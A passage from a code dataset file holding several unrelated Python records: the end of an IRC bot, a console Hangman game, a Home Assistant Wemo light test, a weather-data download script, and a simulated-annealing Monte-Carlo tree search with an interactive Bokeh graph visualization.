account-tag\\r\\n\")\n#\t\tself.running=True\n#\t\twhile self.running:\n#\t\t\tlines = self.socket.read()\n#\t\t\tif lines:\n#\t\t\t\tfor line in lines:\n#\t\t\t\t\tself.handle_line(line)\n\t\tself.socket.read()\n\t\tself.socket.close()\n\t\tdel self.socket\n\nif __name__==\"__main__\":\n\tbot = IRCBot(\"k\",\"k\",channels=[])\n\tbot.load_modules()\n\tbot.start()\n","sub_path":"temp.py","file_name":"temp.py","file_ext":"py","file_size_in_byte":5554,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"120731727","text":"import random\r\n\r\ndef findAll(str, sent):\r\n idx_list = []\r\n for idx in range(len(str)):\r\n if (str[idx] == sent):\r\n idx_list.append(idx)\r\n return idx_list\r\n\r\nclass WordDatabase:\r\n def __init__(self, file):\r\n fileInst = open(file, 'r')\r\n self.database = fileInst.read().split('\\n')\r\n fileInst.close()\r\n\r\n def pick_random_word(self):\r\n return self.database[random.randrange(0, len(self.database))]\r\n\r\nclass Hangman:\r\n showing = ['''\\\r\n ____\r\n | |\r\n | o\r\n | /|\\\\\r\n | |\r\n | / \\\\\r\n _|_\r\n | |______\r\n | |\r\n |__________|\\\r\n ''',\r\n\r\n '''\\\r\n ____\r\n | |\r\n | o\r\n | /|\\\\\r\n | |\r\n | /\r\n _|_\r\n | |______\r\n | |\r\n |__________|\\\r\n ''',\r\n\r\n '''\\\r\n ____\r\n | |\r\n | o\r\n | /|\\\\\r\n | |\r\n |\r\n _|_\r\n | |______\r\n | |\r\n |__________|\\\r\n ''',\r\n\r\n '''\\\r\n ____\r\n | |\r\n | o\r\n | /|\r\n | |\r\n |\r\n _|_\r\n | |______\r\n | |\r\n |__________|\\\r\n ''',\r\n\r\n '''\\\r\n ____\r\n | |\r\n | o\r\n | |\r\n | |\r\n |\r\n _|_\r\n | |______\r\n | |\r\n |__________|\\\r\n ''',\r\n\r\n '''\\\r\n ____\r\n | |\r\n | o\r\n |\r\n |\r\n |\r\n _|_\r\n | |______\r\n | |\r\n |__________|\\\r\n ''',\r\n\r\n '''\\\r\n ____\r\n | |\r\n |\r\n |\r\n |\r\n |\r\n _|_\r\n | |______\r\n | |\r\n |__________|\\\r\n ''',\r\n ]\r\n\r\n def get_max_life(self):\r\n return len(self.showing) - 1\r\n\r\n def get_showing(self, life):\r\n return self.showing[life]\r\n\r\nclass GameInstance:\r\n def __init__(self, database):\r\n self.hangman = Hangman()\r\n self.database = database\r\n\r\n def showUI(self, bIsSurvived):\r\n if (bIsSurvived):\r\n print(\"Tries: \" + str(self.hangman.get_max_life() - self.life))\r\n print(\"Wrong Answers: \" + str(self.wrong_answer))\r\n print(self.hangman.get_showing(self.life))\r\n else:\r\n print(\"Your dead!\")\r\n print(\"The answer was \\\"\" + self.word + \"\\\"\")\r\n\r\n player_input = input(\"Input( \\\"0\\\" to start new game, \\\"1\\\" to finish game) : \")\r\n return player_input\r\n\r\n\r\n def execute(self):\r\n bisRunning = True\r\n self.reset()\r\n\r\n while (bisRunning):\r\n bIsSurvived = self.life > 0\r\n player_input = self.showUI(bIsSurvived)\r\n\r\n if (player_input == \"0\"):\r\n self.reset()\r\n elif (player_input == \"1\"):\r\n bisRunning = False\r\n elif (player_input.isalpha() and len(player_input) == 1 and bIsSurvived):\r\n self.input_sentence(player_input)\r\n print(\"Current Answer: \" + self.solved)\r\n else:\r\n print(\"Wrong input! try again!\")\r\n\r\n def reset(self):\r\n self.life = self.hangman.get_max_life()\r\n self.word = self.database.pick_random_word()\r\n self.solved = \"_ \" * (len(self.word))\r\n self.wrong_answer = []\r\n\r\n print(self.word)\r\n\r\n def input_sentence(self, sentence):\r\n founded_list = findAll(self.word, sentence)\r\n if (len(founded_list) == 0):\r\n self.decrease_life()\r\n if (not (sentence in self.wrong_answer)):\r\n self.wrong_answer.append(sentence)\r\n else:\r\n solved_list = self.solved.split()\r\n for idx in founded_list:\r\n solved_list[idx] = sentence\r\n self.solved = \" \".join(solved_list)\r\n\r\n def decrease_life(self):\r\n self.life -= 1\r\n\r\n def get_current_life(self):\r\n return self.life\r\n\r\n def get_current_word(self):\r\n return self.word;\r\n\r\nif __name__ == \"__main__\":\r\n word_database = WordDatabase(\"words.txt\")\r\n game_inst = GameInstance(word_database)\r\n game_inst.execute()\r\n","sub_path":"Hangman_tb_양교원.py","file_name":"Hangman_tb_양교원.py","file_ext":"py","file_size_in_byte":4073,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"436190560","text":"\"\"\"Tests for the Wemo light entity via the bridge.\"\"\"\n\nimport pytest\nimport pywemo\n\nfrom homeassistant.components.homeassistant import (\n DOMAIN as HA_DOMAIN,\n SERVICE_UPDATE_ENTITY,\n)\nfrom homeassistant.const import ATTR_ENTITY_ID, STATE_OFF, STATE_ON\nfrom homeassistant.setup import async_setup_component\n\nfrom tests.async_mock import PropertyMock, create_autospec\n\n\n@pytest.fixture\ndef pywemo_model():\n \"\"\"Pywemo Bridge models use the light platform (WemoLight class).\"\"\"\n return \"Bridge\"\n\n\n@pytest.fixture(name=\"pywemo_bridge_light\")\ndef pywemo_bridge_light_fixture(pywemo_device):\n \"\"\"Fixture for Bridge.Light WeMoDevice instances.\"\"\"\n light = create_autospec(pywemo.ouimeaux_device.bridge.Light)\n light.uniqueID = pywemo_device.serialnumber\n light.name = pywemo_device.name\n pywemo_device.Lights = {pywemo_device.serialnumber: light}\n return light\n\n\nasync def test_light_update_entity(\n hass, pywemo_registry, pywemo_bridge_light, wemo_entity\n):\n \"\"\"Verify that the light performs state updates.\"\"\"\n await async_setup_component(hass, HA_DOMAIN, {})\n\n # On state.\n type(pywemo_bridge_light).state = PropertyMock(return_value={\"onoff\": 1})\n await hass.services.async_call(\n HA_DOMAIN,\n SERVICE_UPDATE_ENTITY,\n {ATTR_ENTITY_ID: [wemo_entity.entity_id]},\n blocking=True,\n )\n assert hass.states.get(wemo_entity.entity_id).state == STATE_ON\n\n # Off state.\n type(pywemo_bridge_light).state = PropertyMock(return_value={\"onoff\": 0})\n await hass.services.async_call(\n HA_DOMAIN,\n SERVICE_UPDATE_ENTITY,\n {ATTR_ENTITY_ID: [wemo_entity.entity_id]},\n blocking=True,\n )\n assert hass.states.get(wemo_entity.entity_id).state == STATE_OFF\n","sub_path":"tests/components/wemo/test_light_bridge.py","file_name":"test_light_bridge.py","file_ext":"py","file_size_in_byte":1754,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"353236868","text":"from pathlib import Path\nfrom utility import download_all\nfrom tqdm import tqdm\n\n\ndef main():\n current_working_directory = Path().cwd()\n base_data_dir = current_working_directory / 'data' / 'raw'\n parsed_data_dir = current_working_directory / 'data' / 'parsed'\n\n base_data_dir.mkdir(parents=True, exist_ok=True)\n parsed_data_dir.mkdir(parents=True, exist_ok=True)\n\n data_sources = [('uffenheim', None),\n ('wunderground', None),\n ('timeanddate', {'TIMEANDDATE': 'fud_1:fup_1:fut_1:fuw_1:fur_1'})]\n\n def download_and_parse():\n for source, cookies in data_sources:\n download_url_generator = getattr(__import__('download_url_generator', fromlist=[source]), source)\n parsing_function = getattr(__import__('parsing', fromlist=[source]), source)\n\n links = download_url_generator(base_data_dir / source)\n yield 'Downloading data from {}'.format(source)\n download_all(inputs=links, cookies=cookies)\n yield 'Parsing data from {}'.format(source)\n parsing_function(raw_data_path=base_data_dir / source,\n parsed_data_path=parsed_data_dir / (source + '.csv'))\n yield 'Done!'\n\n progress_bar = tqdm(download_and_parse(), total=len(data_sources) * 2 + 1)\n for state in progress_bar:\n progress_bar.set_postfix(step=state)\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"download_latest.py","file_name":"download_latest.py","file_ext":"py","file_size_in_byte":1435,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"198664104","text":"import sys\nimport os\nimport math\nimport logging\nfrom itertools import combinations, product, chain\nfrom collections import OrderedDict, defaultdict\n\nimport networkx as nx\nimport numpy as np\nfrom matplotlib import pyplot as plt\n\nfrom functools import reduce\nfrom bokeh.io import show, save, output_file\nfrom bokeh.models import (\n Plot, Circle, HoverTool, TapTool,\n BoxSelectTool, ZoomInTool, ZoomOutTool,\n MultiLine, Range1d, BasicTicker, LabelSet,\n BoxZoomTool, ResetTool, ColorBar, LinearColorMapper,\n WheelZoomTool, WheelPanTool, Column,\n )\nfrom bokeh.models.graphs import from_networkx, NodesAndLinkedEdges\nfrom bokeh.models.transforms import CustomJSTransform\nfrom bokeh.models.callbacks import CustomJS\nfrom bokeh.models.widgets import RangeSlider\nfrom bokeh.palettes import Spectral4, Inferno256\nfrom bokeh.transform import linear_cmap, transform\nfrom bokeh.plotting import figure\n\n\nlogger = logging.getLogger()\n\n\ndef flatten(iterable):\n return list(chain.from_iterable(iterable))\n\n\nNEW_BRANCH_NODE_LIMIT = 20\n\n\nclass SAMCTreeSearch:\n \"\"\"\n Apply Monte-Carlo tree search on item combinations\n aided with the technique of simulated annealing to approximate\n the global minimum corresponding to the best fitness score.\n Here reverse fitness score is used (\"price\").\n Tree: hierarchical structure of branches.\n Branch: set of nodes with same length.\n Node: combination of items.\n Item: collection of main identifiers.\n Identifiers: here two hardcoded identifiers are used: (scheme, jump number).\n \"\"\"\n\n def __init__(self, **kwargs):\n \"\"\"\n :allowed_dict: dict of of possible item combinations\n :max_rounds: maximum number of rounds allowed for running\n :init_t_coeff: a coefficient for initial temperature calculation for the cooling schedule\n \"\"\"\n self.allowed_dict = kwargs.get(\"allowed_dict\")\n self.max_rounds = kwargs.get(\"max_rounds\")\n self.init_t_coeff = kwargs.get(\"init_t_coeff\")\n self.init_t = 0\n self.active_branches = []\n self.max_level = 0\n self.rounds = 0\n self.core_nodes = None\n G = nx.DiGraph()\n self.graph = G\n self._set_new_branch(self.allowed_dict.keys())\n self.inactive_branch_levels = set()\n self.query_pk = kwargs.get(\"query_pk\")\n\n def _set_new_branch(self, nodes):\n self.max_level += 1\n try:\n parent = self.active_branches[-1]\n if parent.level == 1:\n init_t = parent.get_largest_value_diff()\n self.init_t = init_t * self.init_t_coeff\n except IndexError:\n parent = None\n branch = Branch(nodes, parent, self.core_nodes,\n self.max_level, self.graph, self.allowed_dict)\n if not branch.nodes:\n self.inactive_branch_levels.add(self.max_level)\n self.max_level -= 1\n return\n self.core_nodes = branch.core_nodes\n self.active_branches.append(branch)\n\n def __iter__(self):\n while self.rounds < self.max_rounds:\n self.rounds += 1\n node = self._select()\n if not node:\n #self.visualize()\n logger.info(\"Iteration completed in SA-MCTS\")\n self.visualize_final()\n raise StopIteration\n branch = self.active_branches[-1]\n if not branch.active_nodes_for_creating:\n yield node\n logger.info(\"Not worth investigating further in SA-MCTS\")\n self.visualize_final()\n raise StopIteration\n yield node\n if branch == node.branch and \\\n (self.max_level > 1 or branch.inactive) and \\\n (self.max_level + 1 not in self.inactive_branch_levels):\n self.create_new_branch()\n else:\n logger.info(\"Max number of rounds reached in SA-MCTS\")\n self.visualize_final()\n raise StopIteration\n\n def _select(self):\n self._update_active_branches()\n chosen_node = None\n selection = []\n for branch in self.active_branches:\n logger.debug(\"Selecting new node %s at branch %s\",\n self.rounds, branch)\n self._set_ucb_values(branch)\n sorted_nodes = sorted(branch.active_nodes, reverse=True,\n key=lambda n: (n.ucb_value, str(n)))\n if chosen_node:\n # solves branch jumps\n pool = chosen_node.get_relevant_descendants(\n max_level=branch.level-1)\n chosen_node = [n for n in sorted_nodes if n in pool][0]\n else:\n chosen_node = sorted_nodes[0]\n logger.debug(\"Node selected: %s\", chosen_node)\n selection.append(chosen_node)\n chosen_node.set_node_color(\"blue\")\n\n if chosen_node.visited:\n logger.debug(\"Node already visited, continue\")\n chosen_node.set_visits()\n continue\n\n chosen_node.set_visits()\n #self.visualize()\n\n # set color to green for further plots\n for node in selection:\n node.set_node_color(\"green\")\n\n chosen_node._set_calc_round(self.rounds)\n return chosen_node\n\n def create_new_branch(self):\n last_active = self.active_branches[-1]\n create_from = last_active.active_nodes_for_creating\n if create_from:\n logger.debug(\"Creating new branch...\")\n self._set_new_branch(create_from)\n\n def _update_active_branches(self):\n active_branches = \\\n [b for b in self.active_branches\n if not b.inactive]\n inactive_branches = \\\n [b for b in self.active_branches\n if b.inactive]\n self.active_branches = active_branches\n self.inactive_branch_levels.update(\n ib.level for ib in inactive_branches)\n # keep max level updated\n if active_branches:\n self.max_level = active_branches[-1].level\n\n def _get_temperature(self):\n return self.init_t * float(self.max_rounds - self.rounds) / float(self.max_rounds)\n\n def _set_ucb_values(self, branch):\n temperature = self._get_temperature()\n branch._set_ucb_values(temperature)\n\n def get_info_str(self):\n return \"{} rounds; T0 = {}\".format(\n self.rounds, round(self.init_t, 4))\n\n def visualize_final(self):\n # TODO\n\n # consider refactor and moving of js code\n if not self.query_pk:\n return\n\n # Get nodes and properties\n nodes = list(self.graph)\n if not nodes:\n return\n sorted_nodes = sorted(\n [n for n in nodes if n.calc_round\n and n.price < float(\"inf\")],\n key=lambda n: n.calc_round)\n remove_nodes = [n for n in nodes if not n.calc_round\n or n.price == float(\"inf\")]\n new_edges = [(n1, n2)\n for n1, n2 in zip(sorted_nodes, sorted_nodes[1:])\n if len(n1) != len(n2)]\n self.graph.remove_nodes_from(remove_nodes)\n graph = nx.create_empty_copy(self.graph)\n graph.add_edges_from(new_edges, line_width=3.0)\n nodes = list(graph)\n mapping = dict([(idx, node) for idx, node in enumerate(nodes)])\n graph = nx.convert_node_labels_to_integers(graph)\n round_, name, price, halting_point, parents, branch = zip(*[\n (n.calc_round, n.full_name,\n n.price, n.halting_point,\n n.get_parent_calc_rounds(),\n n.branch.level,\n ) for n in nodes])\n max_price = math.ceil(max(price)) + 1.0 # force unequal slider ends\n min_price = math.floor(min(price))\n\n # Generate positions\n branch_level_mapper = defaultdict(list)\n for idx, level in enumerate(branch):\n branch_level_mapper[level].append(idx)\n branch_level_mapper = OrderedDict(branch_level_mapper)\n pos = np.zeros((len(graph), 2), dtype=float)\n y_pos = np.linspace(-1, 1, len(branch_level_mapper))\n node_count_min = 0\n node_count_max = 0\n nodelist = []\n for idx, (level, nodes) in enumerate(reversed(branch_level_mapper.items())):\n nodes = sorted(nodes, key=lambda n: mapping[n].calc_round)\n nodelist.extend(nodes)\n new_node_count = len(nodes)\n node_count_max += new_node_count\n xs = np.linspace(-1, 1, new_node_count)\n pos[node_count_min:node_count_max,0] = xs\n pos[node_count_min:node_count_max,1] = [y_pos[idx]] * new_node_count\n node_count_min += new_node_count\n pos = {node: tuple(coords) for node, coords in zip(nodelist, pos)}\n\n graph_renderer = from_networkx(graph, pos, scale=1, center=(0,0))\n graph_renderer.node_renderer.data_source.data['round'] = round_\n graph_renderer.node_renderer.data_source.data['name'] = name\n graph_renderer.node_renderer.data_source.data['price'] = price\n graph_renderer.node_renderer.data_source.data['parents'] = parents\n graph_renderer.node_renderer.data_source.data['halting_point'] = halting_point\n graph_renderer.node_renderer.data_source.data['selected'] = [False] * len(name)\n graph_renderer.node_renderer.data_source.data['branch'] = branch\n\n node_data = graph_renderer.node_renderer.data_source.data\n edge_data = graph_renderer.edge_renderer.data_source.data\n\n # Add labels\n code = \"\"\"\n var result = new Float64Array(xs.length)\n for (var i = 0; i < xs.length; i++) {\n result[i] = provider.graph_layout[xs[i]][%s]\n }\n return result\n \"\"\"\n xcoord = CustomJSTransform(\n v_func=code % \"0\",\n args=dict(provider=graph_renderer.layout_provider),\n )\n ycoord = CustomJSTransform(\n v_func=code % \"1\",\n args=dict(provider=graph_renderer.layout_provider),\n )\n # client side\n xs = transform('index', xcoord)\n ys = transform('index', ycoord)\n labels = LabelSet(\n x=xs,\n y=ys,\n text='round',\n text_font_size='8px',\n background_fill_color='white',\n text_color='black',\n source=graph_renderer.node_renderer.data_source,\n x_offset=-5,\n y_offset=-5,\n )\n\n # Add slider\n code = \"\"\"\n var start = parseInt(cb_obj.value[0])\n var end = parseInt(cb_obj.value[1])\n\n function filtFunc(arr_value, arr_index, array) {\n let value = data[arr_index]\n if (value >= start && value <= end) {\n return true\n }\n }\n\n function mapFunc(arr_value, arr_index, array) {\n let value = data[arr_index]\n if (value >= start && value <= end) {\n return arr_index\n }\n }\n var new_base = node_data[base].filter(filtFunc)\n var indices = node_data[base].map(mapFunc)\n var new_other = node_data[other].filter((v,i) => indices.includes(i))\n var new_index = node_data['index'].filter((v,i) => indices.includes(i))\n var new_name = node_data['name'].filter((v,i) => indices.includes(i))\n var new_parents = node_data['parents'].filter((v,i) => indices.includes(i))\n var new_halting_point = node_data['halting_point'].filter((v,i) => indices.includes(i))\n var new_branch = node_data['branch'].filter((v,i) => indices.includes(i))\n\n let new_node_data = {}\n new_node_data[base] = new_base\n new_node_data[other] = new_other\n new_node_data['index'] = new_index\n new_node_data['name'] = new_name\n new_node_data['parents'] = new_parents\n new_node_data['halting_point'] = new_halting_point\n new_node_data['branch'] = new_branch\n new_node_data['selected'] = Array(new_name.length).fill(false)\n\n var new_start = []\n var new_end = []\n for (i = 0; i < edge_data['start'].length; i++) {\n if (new_index.includes(edge_data['start'][i]) &&\n new_index.includes(edge_data['end'][i])) {\n new_start.push(edge_data['start'][i])\n new_end.push(edge_data['end'][i])\n }\n }\n\n let new_edge_data = {}\n new_edge_data['start'] = new_start\n new_edge_data['end'] = new_end\n new_edge_data['line_width'] = Array(new_start.length).fill(3.0)\n\n var branch_values = new_node_data['branch'].map((v,i,a) => a.indexOf(v) === i && [v, []])\n branch_values = branch_values.filter((v,i) => v)\n var branch_mapping = Object.fromEntries(branch_values)\n for (i = 0; i < new_node_data['branch'].length; i++) {\n branch = new_node_data['branch'][i]\n index = new_node_data['index'][i]\n branch_mapping[branch].push(index)\n }\n\n function linspace(length, start=-1, stop=1) {\n var ret = [];\n var step = (stop - start) / (length - 1);\n for (var i = 0; i < length; i++) {\n ret.push(start + (step * i));\n }\n return ret;\n }\n\n for (const [ branch, indices ] of Object.entries(branch_mapping)) {\n let branch_idx = y_pos.length - branch\n let new_y_pos = y_pos[branch_idx]\n indices.sort(function(a,b){\n return new_node_data['round'][new_node_data['index'].indexOf(a)]-\n new_node_data['round'][new_node_data['index'].indexOf(b)]\n })\n let x_pos = linspace(indices.length)\n for (i = 0; i < indices.length; i++) {\n let index = indices[i]\n let new_x_pos = x_pos[i]\n graph.layout_provider.graph_layout[index][0] = new_x_pos\n graph.layout_provider.graph_layout[index][1] = new_y_pos\n }\n }\n graph.node_renderer.data_source.data = new_node_data\n graph.edge_renderer.data_source.data = new_edge_data\n \"\"\"\n callback_price = CustomJS(\n args=dict(\n graph=graph_renderer, base='price', other='round',\n data=node_data['price'],\n node_data=node_data,\n edge_data=edge_data,\n y_pos=y_pos),\n code=code)\n slider_price = RangeSlider(\n title='Price',\n start=min_price, end=max_price,\n value=(min_price, max_price),\n step=(max_price-min_price) / 50.0)\n slider_price.js_on_change('value', callback_price)\n\n callback_round = CustomJS(\n args=dict(\n graph=graph_renderer, base='round', other='price',\n data=node_data['round'],\n node_data=node_data,\n edge_data=edge_data,\n y_pos=y_pos),\n code=code)\n slider_round = RangeSlider(\n title='Round',\n start=min(round_), end=max(round_)+1,\n value=(min(round_), max(round_)+1),\n step=1)\n slider_round.js_on_change('value', callback_round)\n\n # Add tools\n code_selected = '''\n const index = cb_data.source.selected.indices[0]\n if (node_data['index'].length !== graph.node_renderer.data_source.data['index'].length) {\n return\n }\n else if (graph.node_renderer.data_source.data['selected'][index] && true) {\n graph.node_renderer.data_source.data = {...node_data}\n graph.edge_renderer.data_source.data = {...edge_data}\n }\n else {\n var parents = node_data['parents'][index]\n parents = parents.filter((v,i) => node_data['round'].includes(v))\n var parents_index = parents.map((v,i) => {\n const idx = node_data['round'].indexOf(v)\n return node_data['index'][idx]\n })\n\n var new_start = []\n var new_end = []\n for (p = 0; p < parents_index.length; p++) {\n new_start.push(index)\n new_end.push(parents_index[p])\n }\n var new_data = {}\n new_data['start'] = edge_data['start'].concat(new_start)\n new_data['end'] = edge_data['end'].concat(new_end)\n new_data['line_width'] = edge_data['line_width'].concat(Array(new_start.length).fill(0.5))\n graph.node_renderer.data_source.data['selected'] = Array(graph.node_renderer.data_source.data['selected'].length).fill(false)\n graph.node_renderer.data_source.data['selected'][index] = true\n graph.edge_renderer.data_source.data = new_data\n }\n '''\n callback_selected = CustomJS(\n args=dict(\n graph=graph_renderer,\n node_data=node_data,\n edge_data=edge_data),\n code=code_selected)\n tooltips = '''\n <div style='width:200px'>\n <span style=\"font-size: 15px;\">Round: @round</span><br>\n <span style=\"font-size: 15px;\">Price: @price{(0)}</span><br>\n <span style=\"font-size: 15px;\">Parents: @parents</span><br>\n <span style=\"font-size: 15px;\">Halt: @halting_point</span><br>\n <span style=\"font-size: 15px;\">@name{safe}</span>\n </div>\n '''\n\n # Plot\n plot = Plot(\n plot_width=1000, plot_height=600,\n x_range=Range1d(-1.1,1.1),\n y_range=Range1d(-1.1,1.1),\n )\n plot.title.text = self.get_info_str()\n plot.add_tools(\n HoverTool(tooltips=tooltips),\n TapTool(callback=callback_selected), BoxSelectTool(),\n ZoomInTool(), ZoomOutTool(),\n BoxZoomTool(), ResetTool(),\n WheelZoomTool(), WheelPanTool(dimension='width'),\n WheelPanTool(dimension='height'),\n )\n\n # Define hovering and selection policies\n graph_renderer.selection_policy = NodesAndLinkedEdges()\n\n # Add colorbar\n if Inferno256[-1] != '#000003':\n #print(type(Inferno256))\n list(Inferno256).reverse()\n color_mapper = LinearColorMapper(\n palette=Inferno256,\n low=min_price,\n high=max_price,\n )\n color_bar = ColorBar(color_mapper=color_mapper, ticker=BasicTicker(),\n label_standoff=12, border_line_color=None, location=(0,0))\n\n # Add node and edge shapes\n graph_renderer.node_renderer.glyph = Circle(\n size=30,\n fill_color=linear_cmap(\n 'price',\n Inferno256,\n min_price,\n max_price,\n low_color='Black',\n high_color='Black',\n )\n )\n graph_renderer.node_renderer.selection_glyph = Circle(\n size=30,\n fill_color=Spectral4[2],\n )\n graph_renderer.node_renderer.hover_glyph = Circle(\n size=30,\n fill_color=Spectral4[1],\n )\n graph_renderer.edge_renderer.glyph = MultiLine(\n line_alpha=0.8,\n line_width='line_width',\n line_color='Black',\n )\n\n # create a plot (round vs. price)\n rounds_prices = zip(node_data['round'], node_data['price'])\n rounds_prices = sorted(rounds_prices, key=lambda t: t[0])\n rounds, prices = zip(*rounds_prices)\n tooltips = '''\n <div style='width:100px'>\n <span style=\"font-size: 15px;\">Round: @x</span><br>\n <span style=\"font-size: 15px;\">Price: @y{(0)}</span><br>\n </div>\n '''\n fig = figure(plot_width=1000, plot_height=350, tooltips=tooltips)\n fig.circle(rounds, prices, color='navy', alpha=0.5)\n fig.line(rounds, prices, color='navy', alpha=0.5)\n fig.xaxis.axis_label = 'Round'\n fig.yaxis.axis_label = 'Price'\n\n # Finalize\n plot.renderers.append(graph_renderer)\n plot.add_layout(labels)\n plot.add_layout(color_bar, 'left')\n dir_ = os.path.dirname(os.path.realpath(__file__))\n dir_ += \"/templates/iq_trees/\"\n try:\n os.makedirs(dir_)\n except os.error:\n pass\n output_file(dir_ + \"{}.html\".format(self.query_pk))\n save(Column(plot, slider_price, slider_round, fig))\n\n def visualize(self):\n fig = plt.gcf()\n fig.set_size_inches((30, 30))\n pos = nx.drawing.nx_pydot.graphviz_layout(self.graph, prog=\"dot\")\n graph = self.graph\n title = \"Round: {} | T: {}\".format(self.rounds, self._get_temperature())\n plt.title(title)\n labels = {node: node.details for node in list(graph)}\n color_map = nx.get_node_attributes(graph, \"color\")\n color_list = [color_map[node] for node in graph.nodes]\n nx.draw(graph, pos, node_size=10000, with_labels=True,\n labels=labels, node_color=color_list, edgecolors=\"black\")\n title = \"Round_{}\".format(self.rounds)\n #fig.savefig(title, dpi=500)\n mng = plt.get_current_fig_manager()\n mng.full_screen_toggle()\n plt.show()\n plt.clf()\n\n\nclass Branch:\n\n def __init__(self, nodes, parent, core_nodes, level, graph, allowed_dict):\n \"\"\"\n Nodes: list of either\n list of identifier tuples\n or\n node objects\n \"\"\"\n self.parent = parent or self\n self.core_nodes = core_nodes\n self.level = level\n self.graph = graph\n self._extend_nodes(nodes, allowed_dict)\n\n def _extend_nodes(self, nodes, allowed_dict):\n # print(type(list(nodes)[0]))\n if type(list(nodes)[0]) == tuple:\n self.nodes = [Node(frozenset((n,)), self) for n in nodes]\n self.core_nodes = self.nodes\n elif isinstance(nodes[0], Node):\n allowed_dict = allowed_dict if self.level == 2 else None\n self.nodes = []\n agg_node_items = set()\n for core_node in self.core_nodes:\n new_nodes = [node\\\n .extend_by(core_node, self, agg_node_items, allowed_dict)\n for node in nodes]\n agg_node_items.update([n.items for n in new_nodes if n])\n self.nodes += [n for n in new_nodes if n]\n else:\n raise TypeError(\"Nodes argument must be a list of either tuples\\\n or Node objects\")\n\n def __len__(self):\n return len(self.nodes)\n\n def __str__(self):\n return \"Level: {}, Length: {}\".format(self.level, len(self))\n\n @property\n def inactive(self):\n return all(n.inactive_medium for n in self.nodes)\n\n @property\n def visits(self):\n return sum(n.visits for n in self.nodes) - len(self)\n\n @property\n def all_node_items(self):\n return set(n.items for n in self.nodes)\n\n @property\n def active_nodes(self):\n return [n for n in self.nodes if not n.inactive]\n\n @property\n def active_nodes_for_creating(self):\n ret = sorted(\n [n for n in self.nodes if not n.inactive_soft],\n key=lambda n: n.value, reverse=True)[:NEW_BRANCH_NODE_LIMIT]\n return ret\n\n def _set_ucb_values(self, temperature):\n for node in self.nodes:\n node._set_ucb_value(temperature)\n #logger.debug(\"Calculated UCB value for node %s at T = %s\",\n # node.details, temperature)\n\n def get_largest_value_diff(self):\n values = [n.value for n in self.nodes]\n return max(values) - min(values)\n\n\nclass Node:\n\n @classmethod\n def create_child_node(cls, child_items, branch):\n node = cls(child_items, branch)\n node.update(rolling_method=\"initialization\")\n return node\n\n def __init__(self, items, branch):\n \"\"\"\n items: frozenset of identifier tuples\n \"\"\"\n self.branch = branch\n self.items = items\n self.visits = 1\n self.children = set()\n self._set_parent_nodes()\n self.value = 0\n self.price = 0\n self.update()\n # initialize ucb value in case of creating a whole new branch\n # and visualizing it without calling _set_ucb_value\n self.ucb_value = 0\n self.calc_round = 0\n self.set_node_color()\n # explicitly inactive due to bad value\n self._inactive = False\n self.halting_point = False\n\n def _set_calc_round(self, calc_round):\n \"Set at which round this node has been chosen for exact calculation\"\n self.calc_round = calc_round\n\n def set_node_color(self, color=\"white\"):\n self._color = color\n self.branch.graph.nodes[self][\"color\"] = color\n\n def __len__(self):\n return len(self.items)\n\n def __str__(self):\n return str([(str(jump[0]), jump[1]) for jump in self.items])\n\n @property\n def name_by_pks(self):\n return \", \".join([\" | \".join([\n str(scheme.pk),\n str(jump),\n ]) for scheme, jump in self.items])\n\n @property\n def full_name(self):\n return \"<br>\".join([\" | \".join(\n [str(scheme), str(jump)])\n for scheme, jump in self.items])\n\n def get_parent_calc_rounds(self):\n return [p.calc_round for p in self.parents]\n\n @property\n def details(self):\n return \"\\n\".join([self.name_by_pks] +\n [\"P: {}\".format(round(self.price, 2)),\n \"N: {}\".format(self.visits - 1),\n \"B: {}\".format(self.branch.visits),\n \"V: {}\".format(round(self.value, 2)),\n \"U: {}\".format(round(self.ucb_value, 2))\n ])\n\n def set_visits(self):\n self.visits += 1\n\n def update(self, rolling_method=None, value=0, base_value=1):\n if not value:\n nodes = []\n if rolling_method == \"get_bulk_parents\":\n # update backward, based on children, only if visited\n nodes = self.children if self.visited else []\n if rolling_method == \"get_bulk_children\":\n # update forward, based on parents, only if not visited\n nodes = self.parents if not self.visited else []\n if rolling_method == \"initialization\":\n nodes = self.parents\n if nodes:\n value = sum(n.value for n in nodes) / float(len(nodes))\n else:\n # assuming the value is price\n self.price = value\n # set the whole corresponding tree part as inactive\n if any((value > p.price + 1.0) and p.visited for p in self.parents):\n self.halting_point = True\n self._set_inactive_descendants()\n value = float(base_value) / float(value)\n self.value = value or self.value\n\n def _set_parent_items(self, fake_level=None):\n level = fake_level or self.branch.level - 1\n parent_items = [frozenset(c) for c in combinations(self.items, level)]\n # set only if not fake level\n if not fake_level:\n self.parent_items = parent_items\n return parent_items\n\n def _set_parent_nodes(self):\n self._set_parent_items()\n self.parents = set()\n # Level 1\n if not flatten(self.parent_items):\n self.branch.graph.add_node(self)\n return\n for node in self.branch.parent.nodes:\n if node.items in self.parent_items:\n self.parents.add(node)\n for p in self.parents:\n p.add_child(self)\n self.branch.graph.add_edge(p, self)\n\n def add_child(self, child_node):\n self.children.add(child_node)\n\n def get_siblings_by(self, core_node):\n parents = self.parent_items\n # dummy parents: itself\n core_parents = core_node._set_parent_items(fake_level=1)\n ret = set(reduce(frozenset.union, p) for p in product(parents, core_parents))\n return ret\n\n def can_be_extended_by(self, new_node, allowed_dict=None):\n # from level 1 to level 2\n if allowed_dict:\n return list(new_node.items)[0] in allowed_dict[list(self.items)[0]]\n siblings = set(s for s in self.get_siblings_by(new_node)\n if len(s) == len(self) and s != self.items)\n if siblings:\n return siblings <= self.branch.all_node_items\n\n def get_child_items(self, new_node, allowed_dict=None):\n if self.can_be_extended_by(new_node, allowed_dict):\n return frozenset(list(self.items) + list(new_node.items))\n\n def extend_by(self, new_node, branch, agg_node_items, allowed_dict=None):\n #logger.debug(\"Extending %s with %s\", self, new_node)\n child_items = self.get_child_items(new_node, allowed_dict)\n if child_items and child_items not in agg_node_items:\n return self.__class__.create_child_node(child_items, branch)\n #child_items_str = []\n #if child_items:\n # child_items_str = [(str(n[0]), str(n[1])) for n in child_items]\n #logger.debug(\"Unsuccessful extension: %s\", child_items_str)\n\n @property\n def visited(self):\n return self.visits >= 2\n\n 